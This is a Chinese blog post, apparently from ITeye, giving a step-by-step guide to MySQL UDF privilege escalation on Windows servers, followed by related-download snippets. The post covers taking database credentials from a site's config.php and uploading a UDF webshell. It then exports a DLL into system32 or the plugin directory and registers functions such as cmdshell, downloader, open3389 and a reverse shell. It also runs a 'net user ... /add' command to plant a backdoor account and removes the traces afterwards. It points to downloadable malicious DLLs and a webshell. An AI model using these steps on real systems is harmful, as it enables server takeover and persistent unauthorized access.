`
SilenceGG
  • 浏览: 108553 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

mysql udf 提权

    博客分类:
  • SQL
 
阅读更多

mysql的udf提权方法

UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就象使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。

适用场合:

1、目标主机系统是Windows(Win2000、XP、Win2003)。

2、拥有该主机mysql中的某个用户账号,该账号需要有对mysql的insert和delete权限。

使用方法:

1、获取当前mysql的一个账号,一般情况下在网站的config.php文件就能找到(具体在哪个文件每个CMS都不一样)。

2、把udf专用的webshell传到服务器上,访问并进行数据库连接。

3、连接成功后,导出DLL文件。mysql<5.0,导出路径随意;5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误;mysql>5.1,需要使用

show variables like '%plugin%';

语句查看插件安装路径,导出的时候指定DLL路径为插件路径。

4、使用SQL语句创建自定义函数。语法如下:

Create Function 函数名 returns string soname '导出的DLL路径';
// e.g. Create Function cmdshell returns string soname 'udf.dll';

常用函数名:

cmdshell    执行cmd;
downloader  下载者,到网上下载指定文件并保存到指定目录;
open3389    通用开3389终端服务,可指定端口(不改端口无需重启);
backshell   反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread     读注册表;
regwrite    写注册表;
shut        关机,注销,重启;
about       说明与帮助函数;

若mysql>=5.0,语句中的DLL不允许带全路径,如果在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则将会看到”Can't open shared library“错误。

如果提示“Function 'cmdshell' already exists”,则输入下列语句可以解决:

delete from mysql.func where name='cmdshell'

5、创建函数成功后,就可以通过sql语句去调用它了。语法如下:

select 创建的函数名 ('参数列表');
// e.g. select cmdshell("net user ghy459 hack0nair /add"); 创建一个用户ghy459,密码为hack0nair

 6、函数使用完后,我们需要把之前生成的DLL和创建的函数删除掉,但要注意次序,必须先删除函数再删除DLL。删除函数的语法如下:

drop function 创建的函数名;
// e.g. drop function cmdshell;

 附上一个udf.dll专用网马:下载

 

来自zafe大牛的udf技巧(转自:http://lcx.cc/?i=1900):

1、导出的文件名不一定非是xxx.dll,可以是任意的。

create function sys_eval returns string soname 'udf.xox';

 2、提示错误 Can't open shared library 'fun.dll' (errno: 2 )

除了udf不存在、udf被杀,还有可能是你的udf版本不对,你拿32位的udf去在64位系统注册的话,一样会提示错误。

3、降权的mysql一样有用,能注册dll的话你一样能够执行命令,不过权限是根据mysql来的, 在不支持aspx,ws、shell.application被删得情况下还有一丝希望。

另附从slqmap里提取出来的udf打包,有32位的和64位的。(下载

分享到:
评论

相关推荐

    mysql udf提权文件

    mysql udf提权文件mysql udf提权文件

    mysql提权udf

    5. **安全防御**:对于防御者来说,防止MySQL UDF提权的关键在于强化数据库的安全策略。这包括限制不必要的用户权限,禁用对系统表的写入,使用安全的编码和参数化查询以防止SQL注入,以及定期更新和扫描系统以检测...

    udf提权_udf提权_udf.dll下载提权_mysql提权_ballsv6_提权_源码

    mysql提权,udf提权所需要的dll文件,有64位和32位

    MYSQL高版本低版本UDF提权工具

    描述中的“有两个版本”可能指的是为不同MySQL版本设计的两种UDF提权工具。 在进行UDF提权时,安全专家通常会遵循以下步骤: 1. 分析目标MySQL版本的特性和已知漏洞。 2. 设计或寻找适合的UDF库,该库能够执行提权...

    Linux利用UDF库实现Mysql提权

    本篇将详细介绍如何利用UDF库来实现MySQL的提权操作。 首先,提权通常涉及到获取更高的系统权限,而在MySQL中,通过UDF库可以执行系统级别的命令,从而可能达到提升权限的目的。要实现这一过程,我们需要满足以下...

    MySQL提权专用网马

    利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。 二、适用场合: 1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有...

    mysql全版本提权udf

    mysql udf提权专属

    MYSQL提权UDF.dll

    MySQL提权UDF.dll是关于数据库安全领域的一个关键知识点,主要涉及到MySQL服务器的权限提升漏洞利用。UDF(User Defined Function)是MySQL提供的一种机制,允许用户自定义函数以扩展其功能。然而,不当的UDF管理或...

    mysql.zip_ROOT_mysql提权_udf_udf mysql_提权

    提权用的 udf 得到root帐号可以用这个提权

    D3CTF2022-官方WriteUp1

    本文将对 D3CTF 2022 官方 WriteUp1 进行总结,主要涉及 MySQL UDF 提权、Java 反序列化、MySQLInject、Web 短链技术等多方面的知识点。 1. MySQL UDF 提权 在 MySQL 中,可以使用 User-Defined Functions(UDF)...

    mysql提权4大招数mysql提权4大招数

    本文将详细阐述 MySQL 提权的四种常见方法:UDF 提权、VBS 提权、WebShell 提权以及 Linux 下的 MySQL Backdoor 提权。 #### 一、UDF 提权 **UDF(User Defined Function)提权** 是指通过创建自定义函数来执行...

    Windows提权总结(一)——数据库与系统漏洞.pdf

    MySQL UDF提权是一种通过创建自定义函数实现系统命令执行的技术。提权成功的关键在于具备MySQL root权限且`secure_file_priv`变量为空或未设置具体值。在MySQL 5.1及以上版本,攻击者需要有写入`lib/plugin`目录的...

    Mysql UDF、MOF、反链端口提权.zip

    Mysql UDF、MOF、反链端口提权

    mysql数据库提权所需lib_mysqludf_sys_64.dll(64位)

    提权必备,之后会出对应的提权教程

    记一次phpmailer漏洞+UDF提权.pdf

    我们可以使用这个漏洞来进行UDF提权攻击。 在攻击过程中,我们首先需要使用 dirsearch 工具来爆破目录,寻找可能存在的漏洞。然后,我们使用searchsploit工具来查找相应的POC,并编译POC来实现反弹shell登陆MySQL...

    突破 xpsql.cpp 错误 5 提权1

    - **尝试使用 MySQL UDF 提权**:由于直接通过 MSSQL 的 `xp_cmdshell` 遭遇权限问题,尝试切换到 MySQL 并使用 UDF 提权,但同样未取得成功。 - **百度搜索解决方案**:在网络上搜索相关解决方案,但并未找到有效...

    mysql的root权限下提权

    ### MySQL的Root权限下的提权方法详解 在讨论MySQL中的提权操作之前,我们需要明确几个概念:提权是指用户从较低级别的权限提升到较高级别的权限的过程。在MySQL环境中,通常指的是非root用户通过某种手段获取root...

    udf 64位提权十六进制编码文件

    这是一个转换好的十六进制编码文本文件,之需要把它导出XXX.DLL即可执行命令 。 函数名 sys_eval&#40;&#41; 导出语句自己查。

    星外下的mysql提权1

    这篇文章是作者的经验总结,虽然没有详细列出每个步骤的具体技术细节,但它揭示了MySQL提权的一个基本过程,包括文件的获取、数据库的访问、版本识别以及利用UDF进行提权的思路。对于网络安全研究者和Web应用安全...

Global site tag (gtag.js) - Google Analytics